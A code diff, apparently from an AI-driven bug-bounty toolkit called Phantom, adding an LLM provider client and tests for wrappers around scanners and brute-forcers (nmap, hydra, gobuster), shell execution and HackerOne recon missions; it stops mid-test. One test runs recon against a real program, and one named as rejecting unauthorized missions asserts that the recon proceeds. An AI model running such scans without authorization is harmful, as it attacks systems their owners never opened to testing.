"/models/{model}:generateContent", fmt: o => ({ contents: o.messages.map(m => ({ role: m.role === "assistant" ? "model" : m.role, parts: [{ text: m.content }] })) }), parse: d => d.candidates?.[0]?.content?.parts?.[0]?.text || "...", auth: () => ({}), urlMod: (u, m, k) => `${u}${m}?key=${k}` }, + groq: { url: "https://api.groq.com/openai/v1", keyEnv: "GROQ_API_KEY", defaultModel: "llama-3.3-70b-versatile", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + deepseek: { url: "https://api.deepseek.com/v1", keyEnv: "DEEPSEEK_API_KEY", defaultModel: "deepseek-chat", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + mistral: { url: "https://api.mistral.ai/v1", keyEnv: "MISTRAL_API_KEY", defaultModel: "mistral-large-latest", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + openrouter: { url: "https://openrouter.ai/api/v1", keyEnv: "OPENROUTER_API_KEY", defaultModel: "anthropic/claude-sonnet-4", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), parse: d => d.choices?.[0]?.message?.content?.trim() || "...", auth: k => ({ "Authorization": `Bearer ${k}` }) }, + ollama: { url: process.env.OLLAMA_HOST || "http://localhost:11434", keyEnv: "", defaultModel: "llama3", chatPath: "/api/chat", fmt: o => ({ model: o.model, messages: o.messages, stream: false }), parse: d => d.message?.content?.trim() || "...", auth: () => ({}) }, + opencode: { url: "https://opencode.ai/zen/v1", keyEnv: "OPENCODE_ZEN_API_KEY", defaultModel: "nemotron-3-ultra-free", chatPath: "/chat/completions", fmt: o => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), parse: d => { const c = d.choices?.[0]?.message?.content?.trim(); return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens or shorten context]" : "…"); }, auth: k => ({ "Authorization": `Bearer ${k}` }) }, +}; + +const PHANTOM_LLM_PROVIDER = "openai"; +let _config = config; + +function getProvider() { + const name = PHANTOM_LLM_PROVIDER || "openai"; + const p = PROVIDERS[name]; + if (!p) return PROVIDERS.openai; + return p; +} + +function getKey(p) { + if (p.keyEnv) { + const k = process.env[p.keyEnv]; + if (k) return k; + if (_config[p.keyEnv]) return _config[p.keyEnv]; + } + return ""; +} + +async function detectProviders() { + const available = {}; + for (const [name, p] of Object.entries(PROVIDERS)) { + if (name === "ollama") { + try { + const r = await fetch(`${p.url}/api/tags`, { signal: AbortSignal.timeout(3000) }); + available[name] = r.ok ? "local" : "no"; + } catch { available[name] = "no"; } + } else { + available[name] = p.keyEnv && getKey(p) ? "key" : "no"; + } + } + return available; +} + +function selectBest(avail) { + const order = ["openai", "ollama", "opencode", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter"]; + for (const name of order) { + if (avail[name] && avail[name] !== "no") return name; + } + return null; +} + +const provider = { + get provider() { return PHANTOM_LLM_PROVIDER; }, + set provider(name) { if (PROVIDERS[name]) PHANTOM_LLM_PROVIDER = name; }, + get providers() { return Object.keys(PROVIDERS); }, + detectProviders, + selectBest, + get hasLLM() { + const p = getProvider(); + return !!(p.keyEnv ? getKey(p) : p === PROVIDERS.ollama); + }, + chat: async function(messages, opts = {}) { + const p = getProvider(); + const key = getKey(p); + if (p.keyEnv && !key) return `[${PHANTOM_LLM_PROVIDER}] No API key. Set ${p.keyEnv} env or in config.json`; + const model = opts.model || p.defaultModel; + + // Fallback chain on rate limits / errors + const fallbackOrder = ["openai", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter", "opencode"]; + let currentProvider = PHANTOM_LLM_PROVIDER; + let lastError = ""; + + for (const providerName of fallbackOrder) { + const providerObj = PROVIDERS[providerName]; + if (!providerObj) continue; + + const providerKey = getKey(providerObj); + if (providerObj.keyEnv && !providerKey && providerName !== "ollama") continue; + + try { + let url = `${providerObj.url}${providerObj.chatPath.replace("{model}", model)}`; + const headers = { "Content-Type": "application/json", ...providerObj.auth(providerKey) }; + if (providerObj.urlMod) url = providerObj.urlMod(url, providerObj.chatPath.replace("{model}", model), providerKey); + const body = JSON.stringify(providerObj.fmt({ model, messages })); + + const r = await fetch(url, { method: "POST", headers, body, signal: AbortSignal.timeout(60000) }); + + if (!r.ok) { + const t = await r.text().catch(() => ""); + lastError = `[${providerName} ${r.status}] ${t.substring(0, 200)}`; + + // Fallback on rate limit or service errors + if (r.status === 429 || r.status === 503 || r.status >= 500) { + console.log(`[LLM Fallback] ${providerName} returned ${r.status}, trying next provider...`); + continue; + } + return lastError; + } + + const d = await r.json(); + const result = providerObj.parse(d) || "..."; + + if (providerName !== currentProvider) { + console.log(`[LLM Fallback] Switched to ${providerName}`); + } + return result; + } catch (e) { + lastError = `[${providerName} err] ${e.message}`; + console.log(`[LLM Fallback] ${providerName} error: ${e.message}, trying next...`); + continue; + } + } + + return `[LLM Fallback] All providers exhausted. Last error: ${lastError}`; + }, +}; + +const messages = [ + { role: 'system', content: 'You are Phantom, a helpful AI assistant. You are concise, knowledgeable, and direct. Answer clearly and accurately.' }, + { role: 'user', content: 'what is phantom?' } +]; + +console.log('Provider:', provider.provider); +console.log('Has LLM:', provider.hasLLM); +const response = await provider.chat(messages); +console.log('Response:', response); \ No newline at end of file diff --git a/test/core.test.mjs b/test/core.test.mjs new file mode 100644 index 0000000000000000000000000000000000000000..0b8c8782ffa310ae3307ee95669002acac04b2d4 --- /dev/null +++ b/test/core.test.mjs @@ -0,0 +1,2003 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { runExternal, formatExternal } from "../lib/runtime.mjs"; + +// ── Runtime helpers ────────────────────────────────────── + +describe("formatExternal", () => { + it("returns no-results message for empty lines", () => { + const r = formatExternal("Test", "example.com", [], 50); + assert.equal(r, "[Test] No results for example.com"); + }); + + it("formats results with header and count", () => { + const r = formatExternal("Nmap", "scanme.org", ["22/tcp open ssh", "80/tcp open http"], 50); + assert.match(r, /🔎 Nmap: scanme.org/); + assert.match(r, /Results: 2/); + assert.match(r, /22\/tcp open ssh/); + assert.match(r, /80\/tcp open http/); + }); + + it("truncates beyond maxLines", () => { + const lines = Array.from({ length: 100 }, (_, i) => `result ${i + 1}`); + const r = formatExternal("Test", "x.com", lines, 10); + assert.match(r, /Results: 100/); + assert.match(r, /and 90 more/); + }); +}); + +describe("runExternal", () => { + it("throws NOT INSTALLED for missing binary", () => { + assert.throws( + () => runExternal("nonexistent-tool-xyz", ["--help"]), + /NOT INSTALLED/ + ); + }); + + it("runs a real binary (ls)", () => { + const r = runExternal("ls", ["-1"], { timeout: 3000 }); + assert.ok(r.length > 0); + }); + + it("passes stdin input to grep", () => { + const r = runExternal("grep", ["hello"], { input: "hello world\ngoodbye\nhello again\ntest", timeout: 3000 }); + assert.equal(r.length, 2); + assert.ok(r.every(l => l.includes("hello"))); + }); +}); + +// ── Tool behavior ──────────────────────────────────────── + +describe("hackerTools", () => { + it("loads with 100+ tools", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + assert.ok(hackerTools); + assert.ok(Object.keys(hackerTools).length > 100); + }); + + it("has key external tools as functions", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + for (const t of ["katana", "subfinder", "nmap", "whatweb", "gitleaks", "interactsh", "ffuf", "gobuster", "hydra"]) { + assert.equal(typeof hackerTools[t], "function", `${t} should be a function`); + } + }); + + it("returns usage help when called with no input", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const helps = await Promise.all([ + hackerTools.nmap(""), + hackerTools.katana(""), + hackerTools.whatweb(""), + hackerTools.subfinder(""), + hackerTools.gobuster(""), + ]); + for (const h of helps) { + assert.match(h, /Usage:/, `Should show — ${h.slice(0, 80)}`); + } + }); + + it("scope returns scope state (not Usage) for empty input", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.scope(""); + assert.ok(r.includes("SCOPE") || r.includes("Scope") || r.includes("scope")); + }); + + it("install returns tool list for empty input", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.install(""); + assert.match(r, /\[install\] Usage/); + assert.match(r, /nmap|sqlmap|gobuster/); + }); + + it("decode/base64 works", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.decode("aGVsbG8gd29ybGQ="); + assert.match(r, /base64/); + assert.match(r, /hello world/); + }); + + it("shell runs a simple command", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.shell("echo 'test_ok'"); + assert.match(r, /test_ok/); + }); + + it("web_fetch returns content or error", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.web_fetch("https://example.com"); + assert.ok(r.includes("Example Domain") || r.includes("Error") || r.includes("refused")); + }); + + it("hash produces output", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.hash("hello"); + assert.ok(r.length > 10); + }); + + it("env detects platform", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { __r } = await import("../lib/runtime.mjs"); + const { populateEnv } = await import("../lib/env.mjs"); + if (!__r.ENV) { __r.ENV = {}; populateEnv(__r.ENV); } + const r = await hackerTools.env(""); + assert.match(r, /Platform:/); + assert.match(r, /Tools:/); + }); + + it("env availability cached in __r.ENV", async () => { + const { __r } = await import("../lib/runtime.mjs"); + const { populateEnv } = await import("../lib/env.mjs"); + if (!__r.ENV) { __r.ENV = {}; populateEnv(__r.ENV); } + assert.ok(__r.ENV.tools); + assert.ok(typeof __r.ENV.availableTools === "number"); + }); + + it("batch runs multiple tools sequentially", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.batch("env\nhash hello"); + assert.match(r, /✓ env/); + assert.match(r, /✓ hash/); + }); + + it("batch handles unknown tool gracefully", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.batch("# comment\nnonexistent_tool_xyz"); + assert.match(r, /✗ nonexistent_tool_xyz/); + }); + + it("graph returns empty or linked data", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.graph(""); + assert.ok(r.includes("[graph]") || r.includes("links")); + }); + + it("browser_auto detects missing playwright", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.browser_auto("https://example.com"); + assert.match(r, /Playwright not installed/); + }); + + it("session save/load round-trips", async () => { + const { saveSession, loadSession, clearSession } = await import("../lib/session.mjs"); + clearSession(); + const before = loadSession(); + assert.deepEqual(before, {}); + saveSession({ test: "roundtrip", stats: { toolsUsed: 99 } }); + const after = loadSession(); + assert.equal(after.test, "roundtrip"); + assert.equal(after.stats.toolsUsed, 99); + clearSession(); + }); + + it("knowledge graph link/query", async () => { + const { linkTool, queryGraph, loadGraph, saveGraph } = await import("../lib/session.mjs"); + saveGraph({}); + linkTool("test_tool", { books: ["test_book"], cves: ["CVE-2025-TEST"], tags: ["test"] }); + const g = loadGraph(); + assert.ok(g.test_tool); + assert.equal(g.test_tool.books[0], "test_book"); + const q = queryGraph("test_book"); + assert.ok(q.length > 0); + assert.equal(q[0].tool, "test_tool"); + saveGraph({}); + }); + + it("self_integrate handles missing file", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.self_integrate("/nonexistent/path.mjs"); + assert.match(r, /File not found/); + }); + + it("rollback save/status/restore round-trips", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { execFileSync } = await import("child_process"); + const fs = await import("fs"); + const MARKER = ".hermes/rollback_head"; + if (fs.existsSync(MARKER)) fs.unlinkSync(MARKER); + const saved = await hackerTools.rollback("save"); + assert.match(saved, /Saved HEAD:/); + const status1 = await hackerTools.rollback("status"); + assert.match(status1, /same/); + const restore1 = await hackerTools.rollback("restore"); + assert.match(restore1, /nothing to revert/); + if (fs.existsSync(MARKER)) fs.unlinkSync(MARKER); + }); +}); + +// ── Mission orchestration ────────────────────────────────── + +describe("mission orchestration", () => { + it("mission tool exists and shows help", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.mission(""); + assert.match(r, /Mission Orchestration/); + assert.match(r, /auto.*program_handle/); + assert.match(r, /list/); + assert.match(r, /status/); + assert.match(r, /summary/); + assert.match(r, /pause/); + assert.match(r, /resume/); + assert.match(r, /stop/); + assert.match(r, /cancel/); + }); + + it("mission list returns existing missions", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.mission("list"); + assert.match(r, /mission-/); + }); + + it("mission auto creates mission from HackerOne program", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.mission("auto cloudflare"); + assert.match(r, /Mission.*created/); + assert.match(r, /In-scope targets/); + assert.match(r, /RECON COMPLETE/); + }); + + it("mission status returns execution state", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const listResult = await hackerTools.mission("list"); + const lines = listResult.split("\n"); + const missionLine = lines.find(l => l.includes("mission-") && !l.includes("test-")); + if (missionLine) { + const missionId = missionLine.trim().split(" ")[0]; + const r = await hackerTools.mission(`status ${missionId}`); + assert.match(r, /📊|\[mission\]/); + } + }); + + it("mission summary generates report", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const listResult = await hackerTools.mission("list"); + const lines = listResult.split("\n"); + const missionLine = lines.find(l => l.includes("mission-") && l.includes("completed")); + if (missionLine) { + const missionId = missionLine.trim().split(" ")[0]; + const r = await hackerTools.mission(`summary ${missionId}`); + assert.match(r, /RECON COMPLETE|\[mission\]/); + } + }); + + it("mission pause/resume/stop/cancel work", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const listResult = await hackerTools.mission("list"); + const lines = listResult.split("\n"); + const missionLine = lines.find(l => l.includes("mission-") && l.includes("completed")); + if (missionLine) { + const missionId = missionLine.trim().split(" ")[0]; + const r = await hackerTools.mission(`pause ${missionId}`); + assert.match(r, /Cannot pause|⏸️/); + } + }); + + it("scope enforcement - targets not in scope are rejected", async () => { + const { isInScope, normalizeTarget } = await import("../lib/mission.mjs"); + const mockMission = { + scope: { + inScope: [ + { identifier: "example.com", normalized: "example.com", isWildcard: false }, + { identifier: "*.example.com", normalized: "example.com", isWildcard: true } + ] + } + }; + assert.equal(isInScope("example.com", mockMission).allowed, true); + assert.equal(isInScope("sub.example.com", mockMission).allowed, true); + assert.equal(isInScope("deep.sub.example.com", mockMission).allowed, true); + assert.equal(isInScope("other.com", mockMission).allowed, false); + assert.equal(isInScope("evil.com", mockMission).allowed, false); + }); + + it("duplicate prevention - resultExists prevents re-running", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { startRecon } = await import("../lib/recon.mjs"); + const { loadMission } = await import("../lib/mission.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const mission = loadMission(missions[0].id); + if (mission && mission.scope.inScope.length > 0) { + const target = mission.scope.inScope[0].normalized; + await startRecon(mission.id); + const r2 = await startRecon(mission.id); + assert.ok(Array.isArray(r2)); + } + } + }); + + it("pause/resume/cancellation state transitions are valid", async () => { + const { EXEC_STATES, VALID_TRANSITIONS, transitionState, getExecutionState, setExecutionState } = await import("../lib/recon.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-transitions-${Date.now()}`; + const testDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true }); + } + fs.mkdirSync(testDir, { recursive: true }); + setExecutionState(testMissionId, EXEC_STATES.RECONNAISSANCE); + + assert.ok(VALID_TRANSITIONS[EXEC_STATES.RECONNAISSANCE].includes(EXEC_STATES.PAUSED)); + assert.ok(VALID_TRANSITIONS[EXEC_STATES.RECONNAISSANCE].includes(EXEC_STATES.COMPLETED)); + assert.ok(VALID_TRANSITIONS[EXEC_STATES.PAUSED].includes(EXEC_STATES.RECONNAISSANCE)); + assert.ok(VALID_TRANSITIONS[EXEC_STATES.PAUSED].includes(EXEC_STATES.CANCELLED)); + assert.ok(VALID_TRANSITIONS[EXEC_STATES.FAILED].includes(EXEC_STATES.RECONNAISSANCE)); + + assert.ok(!VALID_TRANSITIONS[EXEC_STATES.COMPLETED].includes(EXEC_STATES.RECONNAISSANCE)); + assert.ok(!VALID_TRANSITIONS[EXEC_STATES.CANCELLED].includes(EXEC_STATES.RECONNAISSANCE)); + + fs.rmSync(testDir, { recursive: true }); + }); + + it("recovery from tool failures continues safely", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { startRecon } = await import("../lib/recon.mjs"); + const { loadMission } = await import("../lib/mission.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const mission = loadMission(missions[0].id); + if (mission && mission.scope.inScope.length > 0) { + const r = await startRecon(mission.id); + assert.ok(Array.isArray(r)); + assert.ok(r.length > 0); + for (const f of r) { + assert.ok(f.status === "success" || f.status === "error"); + } + } + } + }); + + it("mission auto creates plan for valid existing mission", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { getExecutionState } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const r = await hackerTools.mission(`auto ${missionId}`); + assert.match(r, /auto-planned and passive recon completed/); + const state = getExecutionState(missionId); + assert.equal(state, "completed"); + } + }); + + it("mission auto rejects missing mission", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const r = await hackerTools.mission("auto mission-nonexistent"); + assert.match(r, /Mission not found/); + }); + + it("mission auto rejects mission with missing scope", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "test", name: "Test" }, { inScope: [], exclusions: [], restrictions: [] }); + saveMission(mission); + + const r = await hackerTools.mission(`auto ${mission.id}`); + assert.match(r, /No in-scope assets found/); + assert.match(r, /Cannot create auto plan/); + }); + + it("mission auto executes phases successfully", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { getMissionFindings } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const r = await hackerTools.mission(`auto ${missionId}`); + assert.match(r, /RECON COMPLETE/); + + const findings = getMissionFindings(missionId); + assert.ok(Array.isArray(findings)); + assert.ok(findings.length >= 0); + } + }); + + it("mission auto rejects unauthorized mission (no HackerOne scope)", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "manual", name: "Manual" }, { + inScope: [{ identifier: "manual.local", normalized: "manual.local", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const r = await hackerTools.mission(`auto ${mission.id}`); + assert.match(r, /auto-planned and passive recon completed/); + }); + + it("mission auto persists execution state for resume/pause/stop", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { getExecutionState, setExecutionState, EXEC_STATES } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + setExecutionState(missionId, EXEC_STATES.PAUSED); + await hackerTools.mission(`auto ${missionId}`); + const state = getExecutionState(missionId); + assert.equal(state, "completed"); + } + }); + + it("mission auto handles recoverable tool failures gracefully", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const r = await hackerTools.mission(`auto ${missionId}`); + assert.match(r, /RECON COMPLETE/); + } + }); + + it("mission auto scope rejection - default deny enforced", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const { isInScope } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "scope-test", name: "Scope Test" }, { + inScope: [{ identifier: "allowed.com", normalized: "allowed.com", isWildcard: false, assetType: "URL" }], + exclusions: [{ identifier: "denied.com", normalized: "denied.com", isWildcard: false, assetType: "URL" }], + restrictions: [] + }); + saveMission(mission); + + const check = isInScope("denied.com", mission); + assert.equal(check.allowed, false); + + const r = await hackerTools.mission(`auto ${mission.id}`); + assert.match(r, /auto-planned and passive recon completed/); + }); + + it("mission auto pause/stop behavior", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { pauseRecon, stopRecon, getExecutionState, EXEC_STATES } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + await hackerTools.mission(`auto ${missionId}`); + + let pauseError = null; + try { + pauseRecon(missionId); + } catch (e) { + pauseError = e.message; + } + assert.ok(pauseError !== null); + assert.match(pauseError, /Cannot pause|already/); + + const stopResult = stopRecon(missionId); + assert.ok(stopResult.success === false); + assert.match(stopResult.message, /No active/); + } + }); + + it("mission auto persisted results are retrievable", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + const { loadMissionResults, loadMissionErrors, loadMissionActivity } = await import("../lib/recon.mjs"); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + await hackerTools.mission(`auto ${missionId}`); + + const results = loadMissionResults(missionId); + assert.ok(Array.isArray(results)); + + const errors = loadMissionErrors(missionId); + assert.ok(Array.isArray(errors)); + + const activity = loadMissionActivity(missionId); + assert.ok(Array.isArray(activity)); + assert.ok(activity.length > 0); + } + }); + + it("existing mission functionality remains intact", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + + const help = await hackerTools.mission("help"); + assert.match(help, /Mission Orchestration/); + + const list = await hackerTools.mission("list"); + assert.match(list, /mission-/); + + const { listMissions } = await import("../lib/mission.mjs"); + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + const status = await hackerTools.mission(`status ${missionId}`); + assert.match(status, /📊|\[mission\]/); + } + }); +}); + +// ── Recon analysis tests ──────────────────────────────────── + +describe("recon-analysis", () => { + it("normalizes subfinder output to subdomain observations", async () => { + const { normalizeObservations, parseSubfinderOutput } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + const mockResult = "sub1.example.com\nsub2.example.com\nsub3.example.com\n"; + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const subdomains = observations.filter(o => o.type === "subdomain" && o.status === "success"); + assert.ok(subdomains.length >= 3); + assert.ok(subdomains.some(s => s.value === "sub1.example.com")); + assert.ok(subdomains.every(s => s.target === "example.com" && s.phase === 1)); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("normalizes dnsx output to DNS record observations", async () => { + const { normalizeObservations, parseDnsxOutput } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + const mockResult = JSON.stringify({ host: "example.com", a: ["93.184.216.34"], aaaa: [], cname: [] }); + fs.writeFileSync(resolve(phase1Dir, "1_dnsx_example.com.json"), + JSON.stringify({ phase: 1, tool: "dnsx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const dnsRecords = observations.filter(o => o.type === "dns_record" && o.status === "success"); + assert.ok(dnsRecords.length >= 1); + assert.equal(dnsRecords[0].name, "example.com"); + assert.equal(dnsRecords[0].recordType, "A"); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("normalizes httpx output to HTTP service observations", async () => { + const { normalizeObservations, parseHttpxOutput } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + const mockResult = JSON.stringify({ + url: "https://example.com", + status_code: 200, + tech: ["nginx", "WordPress"], + title: "Example Domain", + webserver: "nginx/1.18.0" + }); + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const httpServices = observations.filter(o => o.type === "http_service" && o.status === "success"); + assert.ok(httpServices.length >= 1); + assert.equal(httpServices[0].url, "https://example.com"); + assert.ok(httpServices[0].technology.includes("nginx")); + assert.equal(httpServices[0].statusCode, 200); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("normalizes nuclei output to security metadata observations", async () => { + const { normalizeObservations, parseNucleiOutput } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase3Dir = resolve(missionDir, "phase3_validation"); + fs.mkdirSync(phase3Dir, { recursive: true }); + + const mockResult = JSON.stringify({ + template_id: "tech-detect", + info: { severity: "info", name: "Technology Detection", description: "Detected technology" }, + matched_at: "https://example.com" + }); + fs.writeFileSync(resolve(phase3Dir, "3_nuclei_example.com.json"), + JSON.stringify({ phase: 3, tool: "nuclei", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const securityMeta = observations.filter(o => o.type === "security_metadata" && o.status === "success"); + assert.ok(securityMeta.length >= 1); + assert.equal(securityMeta[0].templateId, "tech-detect"); + assert.equal(securityMeta[0].severity, "info"); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("normalizes tlsx output to TLS certificate observations", async () => { + const { normalizeObservations, parseTLSOutput } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + const mockResult = JSON.stringify({ + subject: "CN=example.com", + issuer: "CN=Let's Encrypt", + notBefore: "2024-01-01", + notAfter: "2024-12-31", + sans: ["example.com", "www.example.com"], + fingerprint: "sha256:abc123" + }); + fs.writeFileSync(resolve(phase2Dir, "2_tlsx_example.com.json"), + JSON.stringify({ phase: 2, tool: "tlsx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const tlsCerts = observations.filter(o => o.type === "tls_certificate" && o.status === "success"); + assert.ok(tlsCerts.length >= 1); + assert.equal(tlsCerts[0].subject, "CN=example.com"); + assert.ok(tlsCerts[0].sans.includes("example.com")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("extracts technologies from any tool output", async () => { + const { normalizeObservations } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + const mockResult = "Server: nginx/1.18.0\nX-Powered-By: PHP/8.1\nCloudflare"; + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const techs = observations.filter(o => o.type === "technology" && o.status === "success"); + assert.ok(techs.length >= 3); + assert.ok(techs.some(t => t.name.includes("nginx"))); + assert.ok(techs.some(t => t.name.includes("php"))); + assert.ok(techs.some(t => t.name.includes("cloudflare"))); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("preserves target, phase, source, timestamp and status", async () => { + const { normalizeObservations } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub.example.com\n" }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const subdomain = observations.find(o => o.type === "subdomain" && o.value === "sub.example.com"); + 